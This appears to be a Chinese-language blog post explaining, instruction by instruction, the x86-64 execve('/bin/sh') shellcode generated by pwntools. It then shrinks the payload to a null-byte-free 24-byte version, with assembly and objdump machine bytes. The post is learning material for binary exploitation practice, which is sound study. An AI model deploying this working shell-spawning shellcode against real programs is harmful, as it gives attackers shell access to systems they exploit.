Zj_W1nd's BLOG

pwntools的shellcode逻辑详解

2023/10/26

先看看pwntools的shellcraft.amd64.sh()为我们提供了怎样的一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax //64位数据不能直接push
mov rdi, rsp //第一个参数设置成了/bin///sh\x00的地址
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push SYS_execve /* 0x3b */
pop rax
syscall

可以看到这段代码是为了执行execve(path='/bin///sh', argv=['sh'], envp=0),但是似乎看起来有些长了,我们看看它干了些什么


0x68732f2f2f6e69622f 是/bin/sh的逆序hs///nib/,也就是首先将我们等下要调用的参数压栈。可以理解的是这段shellcode在尽可能的避免出现\x00字符,但是似乎使用/bin//sh就够了?简单的mov rdi,rsp后,第一个参数就控制完成了


然后是令人疑惑的一步异或操作,首先execve("/bin/sh",0,0)就可以运行,这里的shellcode想把入口参数设为sh也可,但是采用了先疑惑一下入栈再异或回来,没有看懂
然后通过push 8;pop rsi实现了mov rsi,8的效果,然后rsi和rsp相加,令rsi(第二个参数)指向了栈上上一个元素–“sh”(此时栈顶是0)
然后的push rsi;mov rsi, rsp令rsi存放了“sh”的地址,至此,第一个和第二个参数的控制都完成了


第三个参数很简单,只需要清空edx就行。最后通过栈将execve的系统调用号传入rax,执行调用就可以拿到shell。

事情到这里似乎结束了?

这段代码有48字节长:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
0000000000401000 <_start>:
401000: 6a 68 push 0x68
401002: 48 b8 2f 62 69 6e 2f movabs rax,0x732f2f2f6e69622f
401009: 2f 2f 73
40100c: 50 push rax
40100d: 48 89 e7 mov rdi,rsp
401010: 68 72 69 01 01 push 0x1016972
401015: 81 34 24 01 01 01 01 xor DWORD PTR [rsp],0x1010101
40101c: 31 f6 xor esi,esi
40101e: 56 push rsi
40101f: 6a 08 push 0x8
401021: 5e pop rsi
401022: 48 01 e6 add rsi,rsp
401025: 56 push rsi
401026: 48 89 e6 mov rsi,rsp
401029: 31 d2 xor edx,edx
40102b: 6a 3b push 0x3b
40102d: 58 pop rax
40102e: 0f 05 syscall

它借助了栈来实现执行了execve("/bin///sh","sh",0)。但是里面采用了很多怪怪的操作,我们试试能不能通过优化这些操作来减少shellcode的大小。
在将异或操作改成直接push 0x6873后,手动编译成功的文件照样成功运行了。但是在objdump的时候就能发现,shellcode里出现了\x00:

1
401010:       68 73 68 00 00          push   0x6873

不太妙,看来pwntools成为经典是有原因的。那干脆如果允许读入\x00,我们能否再精简shellcode呢?我们做一些尝试:

1
2
3
4
5
6
7
8
9
10
global _start
_start:
mov rax, 0x68732f2f6e69622f
push rax
mov rdi, rsp ;rdi set successfully
xor rsi,rsi
;try
xor rdx,rdx
mov rax,0x3b
syscall

这样写是不行的,syscall并不会进入shell。了解之后知道,execve的第二个参数必须以一个指向空的指针结尾,也就是说第二个参数也要传入一个合法的地址。查到了一个这样的shellcode:

1
2
3
4
5
6
7
8
9
401000:       48 31 d2                xor    rdx,rdx
401003: 52 push rdx
401004: 48 89 e6 mov rsi,rsp
401007: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f2f6e69622f
40100e: 2f 73 68
401011: 50 push rax
401012: 48 89 e7 mov rdi,rsp
401015: b8 3b 00 00 00 mov eax,0x3b
40101a: 0f 05 syscall

看完确实令人感叹。这个shellcode的巧妙在于,将第二个参数和第三个参数的设置过程进行了融合复用,环境变量数组为0看来是合法的,那就将0先入栈然后将地址传给rsi,同时这样写也实现了’/bin/sh’最后在栈中以\x00结束,非常的巧妙。我们看到这样写的shellcode只有26字节大小,只是在mov eax,0x3b设置系统调用的地方有三个\x00。如果这里我们使用pwntools的栈的方法优化一下?

1
2
3
4
5
6
7
8
9
10
401000:       48 31 d2                xor    rdx,rdx
401003: 52 push rdx
401004: 48 89 e6 mov rsi,rsp
401007: 48 b8 2f 62 69 6e 2f movabs rax,0x68732f2f6e69622f
40100e: 2f 73 68
401011: 50 push rax
401012: 48 89 e7 mov rdi,rsp
401015: 6a 3b push 0x3b
401017: 58 pop rax
401018: 0f 05 syscall

没有\x00!而且只要24字节就能实现。不觉得这很酷吗?我觉得这太酷了。shellcode也没那么复杂。
x86传参,网上看到的教程似乎都是__fastcall调用方式,最终两个参数好像是用ecx和ebx在传递而不是栈。逻辑也是类似的。

CATALOG
  1. 1. 事情到这里似乎结束了?